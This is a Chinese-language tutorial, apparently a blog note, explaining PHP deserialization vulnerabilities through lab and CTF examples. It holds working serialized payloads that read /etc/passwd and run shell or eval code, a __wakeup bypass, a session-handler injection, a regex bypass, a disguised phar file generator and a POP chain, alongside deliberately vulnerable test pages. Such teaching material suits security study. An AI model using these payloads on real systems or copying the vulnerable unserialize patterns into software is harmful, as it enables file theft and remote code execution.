淺談PHP反序列化漏洞原理

  • 2019 年 10 月 3 日
  • 筆記

序列化與反序列化

img

序列化用途:方便於對象在網路中的傳輸和存儲

0x01 php反序列化漏洞

在PHP應用中,序列化和反序列化一般用做快取,比如session快取,cookie等。

常見的序列化格式:

  • 二進位格式
  • 位元組數組
  • json字元串
  • xml字元串

序列化就是將對象轉換為流,利於儲存和傳輸的格式

反序列化與序列化相反,將流轉換為對象

例如:json序列化、XML序列化、二進位序列化、SOAP序列化

而php的序列化和反序列化基本都圍繞著 serialize(),unserialize()這兩個函數

php對象中常見的魔術方法

__construct()   // 當一個對象創建時被調用,  __destruct()    // 當一個對象銷毀時被調用,  __toString()    // 當一個對象被當作一個字元串被調用。  __wakeup()      // 使用unserialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源  __sleep()       // 使用serialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源  __destruct()    // 對象被銷毀時觸發  __call()        // 在對象上下文中調用不可訪問的方法時觸發  __callStatic()  // 在靜態上下文中調用不可訪問的方法時觸發  __get()         // 用於從不可訪問的屬性讀取數據  __set()         // 用於將數據寫入不可訪問的屬性  __isset()       // 在不可訪問的屬性上調用isset()或empty()觸發  __unset()       // 在不可訪問的屬性上使用unset()時觸發  __toString()    // 把類當作字元串使用時觸發,返回值需要為字元串  __invoke()      // 當腳本嘗試將對象調用為函數時觸發

PHP序列化數據

測試腳本 test.php

<?php      class User      {          public $name = '';          public $age = 0;          public $addr = '';          public function __toString()          {              return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;          }      }      $user = new User();      $user->name = 'default';      $user->age = '0';      $user->addr = 'default';      echo serialize($user);  ?>

這是一個對象通過serialize()方法序列化後的格式

a - array                  b - boolean  d - double                 i - integer  o - common object          r - reference  s - string                 C - custom object  O - class                  N - null  R - pointer reference      U - unicode string

當一個頁面發現傳遞參數類似對象序列化的數據格式,可以測試是否存在反序列化漏洞

php對象中屬性的訪問級別

測試 test.php

class User  {      private $name = 'default';      public $age = 18;      protected $addr = 'default';      public function __toString()      {          return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;      }  }  $user = new User();  echo serialize($user);

private 的屬性序列化後變成 <0x00>對象<0x00>屬性名

public 沒有任何變化

protected 的屬性序列化後變成 <0x00>*<0x00>屬性名

特殊十六進位<0x00>表示一個壞位元組,就是空位元組

下面測試正確的傳值姿勢進行反序列化

程式碼後添加幾句

$obj = unserialize($_POST['usr_serialized']);  echo $obj;

先是測試普通的訪問形式來傳值

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改,private、protected無法被對象外修改

如何才能從外部修改被保護的屬性值呢?

將 <0x00>的位置用 %00代替

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以發現即使是被保護的屬性也會被外部修改

php反序列化演示

假設頁面有個介面參數可控

<?php      class FileClass      {          public $filename = 'error.log';          public function __toString()          {              return file_get_contents($this->filename);          }      }      class User      {          public $name = '';          public $age = 0;          public $addr = '';            public function __toString()          {              return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;          }      }      # 參數可控      $obj = unserialize($_POST['usr_serialized']);      echo $obj;  ?> 

測試頁面是通過post來傳遞參數,實戰環境不一定在post中,參數可能會被加密編碼過

先傳遞一個 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通過修改參數,判斷參數是否可變

參數可變

反序列化漏洞利用

漏洞形成條件

  1. 參數可變
  2. 有可利用函數

假設存在可利用函數

測試程式碼 test.php

<?php      class FileClass      {          public $filename = 'error.log';          public function __toString()          {              # 讀取文件函數              return file_get_contents($this->filename);          }      }      class User      {          public $name = '';          public $age = 0;          public $addr = '';            public function __toString()          {              return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;          }      }      # 參數可控      $obj = unserialize($_POST['usr_serialized']);      echo $obj;    ?> 

可知存在一個file_get_contents()文件讀取函數。

構造惡意參數 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

將之前User的介面改為讀取文件的類構造參數,FileClass只有一個filename屬性,只需要傳遞要讀取的文件名就行

用同樣的參數名傳遞惡意參數,導致當前目錄的test.php被讀取,也可以嘗試讀取其他文件

讀取test.txt

嘗試讀取/etc/passwd

構造參數 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 繞過 __wakeup()

__wakeup() 類似一個預處理的作用,在執行unserialize()時會檢測是否存在wakeup,存在則先執行 __wakeup()

繞過方式

這種方式繞過是由PHP的版本漏洞造成的

繞過__wakeup()只需要將參數的個數改成超過現有的參數個數即可

影響版本

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40和5.5.38測試對比

測試頁面 test.php

測試版本 php 5.6.40

測試系統 Linux

IP :192.168.80.11

<?php      // ...省略其他程式碼      class CMDClass{          public $cmd = "";          function __wakeup(){              if(strpos($this->cmd,'ls')!==false){                  $this->cmd = " ";              }          }          function __destruct(){              passthru($this->cmd,$result);          }          function __toString(){              return "";          }      }      $obj = unserialize($_POST['usr_serialized']);      echo $obj;    ?> 

這裡 __wakeup() 中,判斷如果輸入的cmd參數中存在 "ls" 的字元串,則將cmd置為空格。

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

將參數的個數改成超過現有的參數個數進行繞過

更新後的版本,無法繞過會產生報錯

換一台虛擬機進行測試

測試頁面 test.php

測試版本 php 5.5.38

測試系統 Windows 7

IP :192.168.80.128

測試頁面 php_unser.php

<?php      // ...其餘都一樣          function __wakeup(){              # 因為win7沒有ls命令,所以這裡來限制ipconfig命令              if(strpos($this->cmd,'ip')!==false){                  $this->cmd = "echo 非法輸入";              }          }  ?>

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

發現被__wakeup()過濾了

修改參數個數進行繞過 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

經測試可以繞過

0x03 Session反序列化

php中的session內容不是存放在記憶體中,是以文件形式存在。存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列化之後的內容。

存儲方式

  • php_binary 存儲方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值
  • php 存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值
  • php_serialize(php>5.5.4) 存儲方式是,經過serialize()函數序列化處理的值

設置格式

ini_set('session.serialize_handler', '需要設置的引擎');

默認下session存儲為 php 存儲方式

<?php      session_start();      $_SESSION['name'] = 'admin';      echo "session_id: ".session_id()."<br>";      passthru("cat /tmp/sess_".session_id());  ?>  // session內容    name|s:5:"admin";

php_serialize引擎

ini_set("session.serialize_handler","php_serialize");  session_start();  // ...  // session內容    a:1:{s:4:"name";s:5:"admin";}

php_binary引擎

ini_set("session.serialize_handler","php_binary");  session_start();  // ...  // session內容    

ASCII的值為4的字元無法列印顯示

漏洞原理

當session使用不當,如php反序列化儲存時使用引擎和序列化使用的引擎不一樣,就會形成漏洞。

漏洞復現

本次測試,以 php引擎和 php_serialize引擎混合引發的漏洞

測試頁面1 target1.php --> php_serialize引擎

<?php      ini_set('session.serialize_handler', 'php_serialize');      session_start();      $_SESSION["name"]=$_GET["name"];        if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {          echo "歡迎來到第一個頁面,Session已保存!";      }  ?>

測試頁面2 target2.php --> php引擎

<?php      ini_set('session.serialize_handler','php');      session_start();      // 開啟session之後 無需調用會自動載入      class Admin      {          var $name;          function __construct()          {              $this->name = "default";          }          function __destruct(){              // 執行命令              passthru($this->name);          }      }  ?>

通過向 target1.php傳遞一個name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

然後在訪問 target2.php,會發現之前傳遞參數中的 cat /etc/passwd命令被執行

這是發生了什麼?!!

漏洞觸發流程

首先通過訪問 target1.php並且傳遞了參數 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

而target1.php頁面是php_serialize引擎來存儲session,所以session保存後的內容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然後當訪問target2.php時,會用第二個頁面的 php引擎來解析session,通過 |來分割字元串取出對應的值;

Session值

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解後,a:1:{s:4:"name";s:48:"admin被當作session的key值
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

Session本身就是序列化和反序列化的存儲方式

通過session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

就會生成 Admin對象和一個屬性值為 cat /etc/passwd的name

再通過對象的銷毀魔術方法__destruct()就會形成惡意的命令執行

CTF題實戰

為了符合題意需要將 php.ini中的 serialize_handler 修改一下

題目測試頁面 test3.php

<?php  //A webshell is wait for you  ini_set('session.serialize_handler', 'php');  session_start();  class OowoO  {      public $mdzz;      function __construct()      {          $this->mdzz = 'phpinfo();';      }        function __destruct()      {          eval($this->mdzz);      }  }  if(isset($_GET['phpinfo']))  {      $m = new OowoO();  }  else  {      highlight_string(file_get_contents('test3.php'));  }  ?>

訪問 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面將的漏洞環境

通過源碼可以看出並沒有可以傳入參數的地方

不過在phpinfo中可以看到 session.upload_progress.enabled 是打開的

Session 上傳進度
當 session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個文件上傳時監測上傳進度。這個資訊對上傳請求自身並沒有什麼幫助,但在文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態
當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變數時,上傳進度可以在$_SESSION中獲得。當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是 session.upload_progress.prefix 與 session.upload_progress.name連接在一起的值

構造一個post表單

<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">      <input type="file" name="file">      <input type="submit">  </form>

上傳一個文件,抓包分析

修改 filename 的值為 |O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}

session值 先是以php_serialize引擎序列化後儲存

後輸出頁面被 php引擎解析觸發反序列化漏洞

構造payload |O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir("/tmp/"));";}

可以遍歷 /tmp/ 內的所有文件

0x04 反序列化繞過正則

測試頁面源碼 test4.php

<?php  @error_reporting(1);  include 'flag.php';  echo $_GET['data'];  class baby  {      public $file;      function __toString()      {          if(isset($this->file))          {              $filename = "./{$this->file}";              if (file_get_contents($filename))              {                  return file_get_contents($filename);              }          }      }  }  if (isset($_GET['data']))  {      $data = $_GET['data'];      preg_match('/[oc]:d+:/i',$data,$matches);      if(count($matches))      {          die('Hacker!');      }      else      {          $good = unserialize($data);          echo $good;      }  }  else  {      highlight_file("./test4.php");  }  ?>

首先訪問 <http://192.168.80.11/test4.php>

通過源碼可以看出存在一個反序列化漏洞

根據之前的經驗直接構造一個 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由於存在正則表達式 preg_match('/[oc]:d+:/i',$data,$matches); 對序列化字元串做了限制導致觸發防禦

接下來嘗試繞過正則表達式,前面的O:4:符合正則的條件,因此將其繞過即可。利用符號+就不會正則匹配到數字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

並沒有什麼變化的原因是,在url中 + 號會被解釋為空格,所以需要將 + url編碼後加入

嘗試訪問 flag.php

繞過正則表達式

實戰中需根據正則表達式規則來進行繞過

0x05 phar反序列化

phar偽協議觸發php反序列化

phar://協議

可以將多個文件歸入一個本地文件夾,也可以包含一個文件

phar文件

PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP程式碼文件和其他資源(例如影像,樣式表等)捆綁到一個歸檔文件中來實現應用程式和庫的分發。所有PHAR文件都使用.phar作為文件擴展名,PHAR格式的歸檔需要使用自己寫的PHP程式碼。

案例演示

假設已知頁面 test5.php

<?php  if(isset($_GET['filename'])){      $filename=$_GET['filename'];      class MyClass{          var $output='echo "nice"';          function __destruct(){              eval($this->output);          }      }          var_dump(file_exists($filename));          file_exists($filename);      }  else{      highlight_file(__FILE__);  }

接下來根據源碼中的類來構造一個phar文件

創建一個 phar.php

<?php  class MyClass{      var $output='phpinfo();';      function __destruct(){          eval($this->output);      }  }    @unlink("./myclass.phar");  $a=new MyClass;  $a->output='phpinfo();';  $phar = new Phar("./myclass.phar"); // 後綴必須為 phar  $phar->startBuffering();  $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  $phar->setMetadata($a); // 將自定義的meta-data存入manifest  $phar->addFromString("test.txt","test");    // 添加壓縮文件  // 簽名自動計算  $phar->stopBuffering();  ?>

通過訪問或者 php 編譯去生成 phar文件

注意:必須要在php.ini中設置 phar.readonly = Off 不然無法生存phar文件

通過查看,其中有一串序列化字元串正是和已知頁面源碼中類相對應

可以通過上傳文件等方式將phar文件放到伺服器上

先通過正常url http://192.168.80.11/test5.php?filename=index.php 訪問

找到phar文件的路徑

利用 phar:// 協議來訪問

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字元串來導致頁面反序列化漏洞的

0x06 POP鏈構造

測試頁面 pop.php

<?php  class start_gg  {          public $mod1;          public $mod2;          public function __destruct()          {                  $this->mod1->test1();          }  }  class Call  {          public $mod1;          public $mod2;          public function test1()      {              $this->mod1->test2();      }  }  class funct  {          public $mod1;          public $mod2;          public function __call($test2,$arr)          {                  $s1 = $this->mod1;                  $s1();          }  }  class func  {          public $mod1;          public $mod2;          public function __invoke()          {                  $this->mod2 = "字元串拼接".$this->mod1;          }  }  class string1  {          public $str1;          public $str2;          public function __toString()          {                  $this->str1->get_flag();                  return "1";          }  }  class GetFlag  {          public function get_flag()          {                  echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");          }  }  $a = $_GET['string'];  unserialize($a);  ?>

解題思路:

  1. 首先發現找到flag,發現flag需要通過GetFlag類中get_flag()函數輸出,然後可以看到string1類中的__toString()方法可以直接調用get_flag()方法,而str1需要賦值為GetFlag。
  2. 發現類func中存在__invoke方法執行了字元串拼接,需要把func當成函數使用自動調用__invoke然後把$mod1賦值為string1的對象與$mod2拼接。
  3. 在funct中找到了函數調用,需要把mod1賦值為func類的對象,又因為函數調用在__call方法中,且參數為$test2,即無法調用test2方法時自動調用 __call方法;
  4. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的對象,讓__call自動調用。
  5. 查找test1方法的調用點,在start_gg中發現$this->mod1->test1();,把$mod1賦值為start_gg類的對象,等待__destruct()自動調用。

通過構造pop鏈輸出payload

<?php  class start_gg  {          public $mod1;          public $mod2;          public function __construct()          {                  $this->mod1 = new Call();//把$mod1賦值為Call類對象          }          public function __destruct()          {                  $this->mod1->test1();          }  }  class Call  {          public $mod1;          public $mod2;          public function __construct()          {                  $this->mod1 = new funct();//把 $mod1賦值為funct類對象          }          public function test1()          {                  $this->mod1->test2();          }  }    class funct  {          public $mod1;          public $mod2;          public function __construct()          {                  $this->mod1= new func();//把 $mod1賦值為func類對象            }          public function __call($test2,$arr)          {                  $s1 = $this->mod1;                  $s1();          }  }  class func  {          public $mod1;          public $mod2;          public function __construct()          {                  $this->mod1= new string1();//把 $mod1賦值為string1類對象            }          public function __invoke()          {                  $this->mod2 = "字元串拼接".$this->mod1;          }  }  class string1  {          public $str1;          public function __construct()          {                  $this->str1= new GetFlag();//把 $str1賦值為GetFlag類對象          }          public function __toString()          {                  $this->str1->get_flag();                  return "1";          }  }  class GetFlag  {          public function get_flag()          {                  echo "flag:"."xxxxxxxxxxxx";          }  }  $b = new start_gg;//構造start_gg類對象$b  echo serialize($b);

執行後輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

將payload帶入到參數發送請求,輸出flag

Tags: